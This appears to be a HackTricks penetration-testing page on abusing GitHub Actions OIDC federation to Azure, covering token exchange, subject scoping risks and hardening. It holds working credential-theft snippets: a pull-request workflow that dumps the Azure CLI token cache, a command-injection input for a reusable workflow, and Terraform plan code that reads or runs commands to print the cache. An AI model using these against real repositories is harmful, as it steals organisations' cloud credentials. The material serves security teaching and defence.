# Azure – Federation Abuse (GitHub Actions OIDC / Workload Identity)

{{#include ../../../banners/hacktricks-training.md}}

## Overview

GitHub Actions can federate to Azure Entra ID (formerly Azure AD) using OpenID Connect (OIDC). A GitHub workflow requests a short‑lived GitHub ID token (JWT) that encodes details about the run. Azure validates this token against a Federated Identity Credential (FIC) on an App Registration (service principal) and exchanges it for Azure access tokens (MSAL cache, bearer tokens for Azure APIs).

Azure validates at least:
- iss: https://token.actions.githubusercontent.com
- aud: api://AzureADTokenExchange (when exchanging for Azure tokens)
- sub: must match the configured FIC Subject identifier

> The default GitHub aud may be a GitHub URL. When exchanging with Azure, explicitly set audience=api://AzureADTokenExchange.

## GitHub ID token quick PoC

```yaml
name: Print OIDC identity token
on: { workflow_dispatch: {} }
permissions:
  id-token: write
jobs:
  view-token:
    runs-on: ubuntu-latest
    steps:
      - name: get-token
        run: |
          OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" "$ACTIONS_ID_TOKEN_REQUEST_URL")
          # Base64 avoid GitHub masking
          echo "$OIDC_TOKEN" | base64 -w0
```

To force Azure audience on token request:

```bash
OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
  "$ACTIONS_ID_TOKEN_REQUEST_URL&audience=api://AzureADTokenExchange")
```

## Azure setup (Workload Identity Federation)

1) Create App Registration (service principal) and grant least privilege (e.g., Storage Blob Data Contributor on a specific storage account).

2) Add Federated identity credentials:
- Issuer: https://token.actions.githubusercontent.com
- Audience: api://AzureADTokenExchange
- Subject identifier: tightly scoped to the intended workflow/run context (see Scoping and risks below).

3) Use azure/login to exchange the GitHub ID token and sign in the Azure CLI:

```yaml
name: Deploy to Azure
on:
  push: { branches: [main] }
permissions:
  id-token: write
  contents: read
jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
      - name: Az CLI login
        uses: azure/login@v2
        with:
          client-id: ${{ secrets.AZURE_CLIENT_ID }}
          tenant-id: ${{ secrets.AZURE_TENANT_ID }}
          subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
      - name: Upload file to Azure
        run: |
          az storage blob upload --data "test" -c hmm -n testblob \
            --account-name sofiatest --auth-mode login
```

Manual exchange example (Graph scope shown; ARM or other resources similarly):

```http
POST /<TENANT-ID>/oauth2/v2.0/token HTTP/2
Host: login.microsoftonline.com
Content-Type: application/x-www-form-urlencoded

client_id=<app-client-id>&grant_type=client_credentials&
client_assertion=<GitHub-ID-token>&client_info=1&
client_assertion_type=urn%3Aietf%3Aparams%3Aoauth%3Aclient-assertion-type%3Ajwt-bearer&
scope=https%3a%2f%2fgraph.microsoft.com%2f%2f.default
```

## GitHub OIDC subject (sub) anatomy and customization

Default sub format: repo:<org>/<repo>:<context>

Context values include:
- environment:<env>
- pull_request (PR triggers when not in an environment)
- ref:refs/(heads|tags)/<name>

Useful claims often present in the payload:
- repository, ref, ref_type, ref_protected, repository_visibility, job_workflow_ref, actor

Customize sub composition via the GitHub API to include additional claims and reduce collision risk:

```bash
gh api orgs/<org>/actions/oidc/customization/sub
gh api repos/<org>/<repo>/actions/oidc/customization/sub
# Example to include owner and visibility
gh api \
  --method PUT \
  repos/<org>/<repo>/actions/oidc/customization/sub \
  -f use_default=false \
  -f include_claim_keys='["repository_owner","repository_visibility"]'
```

Note: Colons in environment names are URL‑encoded (%3A), removing older delimiter‑injection tricks against sub parsing. However, using non‑unique subjects (e.g., only environment:<name>) is still unsafe.

## Scoping and risks of FIC subject types

- Branch/Tag: sub=repo:<org>/<repo>:ref:refs/heads/<branch> or ref:refs/tags/<tag>
  - Risk: If the branch/tag is unprotected, any contributor can push and obtain tokens.
- Environment: sub=repo:<org>/<repo>:environment:<env>
  - Risk: Unprotected environments (no reviewers) allow contributors to mint tokens.
- Pull request: sub=repo:<org>/<repo>:pull_request
  - Highest risk: Any collaborator can open a PR and satisfy the FIC.

PoC: PR‑triggered token theft (exfiltrate the Azure CLI cache written by azure/login):

```yaml
name: Steal tokens
on: pull_request
permissions:
  id-token: write
  contents: read
jobs:
  extract-creds:
    runs-on: ubuntu-latest
    steps:
      - name: azure login
        uses: azure/login@v2
        with:
          client-id: ${{ secrets.AZURE_CLIENT_ID }}
          tenant-id: ${{ secrets.AZURE_TENANT_ID }}
          subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
      - name: Extract access token
        run: |
          # Azure CLI caches tokens here on Linux runners
          cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0
# Decode twice locally to recover the bearer token
```

Related file locations and notes:
- Linux/macOS: ~/.azure/msal_token_cache.json holds MSAL tokens for az CLI sessions
- Windows: msal_token_cache.bin under user profile; DPAPI‑protected

## Reusable workflows and job_workflow_ref scoping

Calling a reusable workflow adds job_workflow_ref to the GitHub ID token, e.g.:

```
ndc-security-demo/reusable-workflows/.github/workflows/reusable-file-upload.yaml@refs/heads/main
```

FIC example to bind both caller repo and the reusable workflow:

```
sub=repo:<org>/<repo>:job_workflow_ref:<org>/<reusable-repo>/.github/workflows/<file>@<ref>
```

Configure claims in the caller repo so both repo and job_workflow_ref are present in sub:

```http
PUT /repos/<org>/<repo>/actions/oidc/customization/sub HTTP/2
Host: api.github.com
Authorization: token <access token>

{"use_default": false, "include_claim_keys": ["repo", "job_workflow_ref"]}
```

Warning: If you bind only job_workflow_ref in the FIC, an attacker could create a different repo in the same org, run the same reusable workflow on the same ref, satisfy the FIC, and mint tokens. Always include the caller repo as well.

## Code execution vectors that bypass job_workflow_ref protections

Even with properly scoped job_workflow_ref, any caller‑controlled data that reaches shell without safe quoting can lead to code execution inside the protected workflow context.

Example vulnerable reusable step (unquoted interpolation):

```yaml
- name: Example Security Check
  run: |
    echo "Checking file contents"
    if [[ "${{ inputs.file_contents }}" == *"malicious"* ]]; then
      echo "Malicious content detected!"; exit 1
    else
      echo "File contents are safe."
    fi
```

Malicious caller input to execute commands and exfiltrate the Azure token cache:

```yaml
with:
  file_contents: 'a" == "a" ]]; then cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0; fi; if [[ "a'
```

## Terraform plan as an execution primitive in PRs

Treat terraform plan as code execution. During plan, Terraform can:
- Read arbitrary files via functions like file()
- Execute commands via the external data source

Example to exfiltrate Azure token cache during plan:

```hcl
output "msal_token_cache" {
  value = base64encode(base64encode(file("/home/runner/.azure/msal_token_cache.json")))
}
```

Or use external to run arbitrary commands:

```hcl
data "external" "exfil" {
  program = ["bash", "-lc", "cat ~/.azure/msal_token_cache.json | base64 -w0 | base64 -w0"]
}
```

Granting FICs usable on PR‑triggered plans exposes privileged tokens and can tee up destructive apply later. Separate identities for plan vs apply; never allow privileged tokens in untrusted PR contexts.

## Hardening checklist

- Never use sub=...:pull_request for sensitive FICs
- Protect any branch/tag/environment referenced by FICs (branch protection, environment reviewers)
- Prefer FICs scoped to both repo and job_workflow_ref for reusable workflows
- Customize GitHub OIDC sub to include unique claims (e.g., repo, job_workflow_ref, repository_owner)
- Eliminate unquoted interpolation of caller inputs into run steps; encode/quote safely
- Treat terraform plan as code execution; restrict or isolate identities in PR contexts
- Enforce least privilege on App Registrations; separate identities for plan vs apply
- Pin actions and reusable workflows to commit SHAs (avoid branch/tag pins)

## Manual testing tips

- Request a GitHub ID token in‑workflow and print it base64 to avoid masking
- Decode JWT to inspect claims: iss, aud, sub, job_workflow_ref, repository, ref
- Manually exchange the ID token against login.microsoftonline.com to confirm FIC matching and scopes
- After azure/login, read ~/.azure/msal_token_cache.json to verify token material presence

## References

- [GitHub Actions → Azure via OIDC: weak FIC and hardening (BinarySecurity)](https://binarysecurity.no/posts/2025/09/securing-gh-actions-part2)
- [azure/login action](https://github.com/Azure/login)
- [Terraform external data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/external)
- [gh CLI](https://cli.github.com/)
- [PaloAltoNetworks/github-oidc-utils](https://github.com/PaloAltoNetworks/github-oidc-utils)

{{#include ../../../banners/hacktricks-training.md}}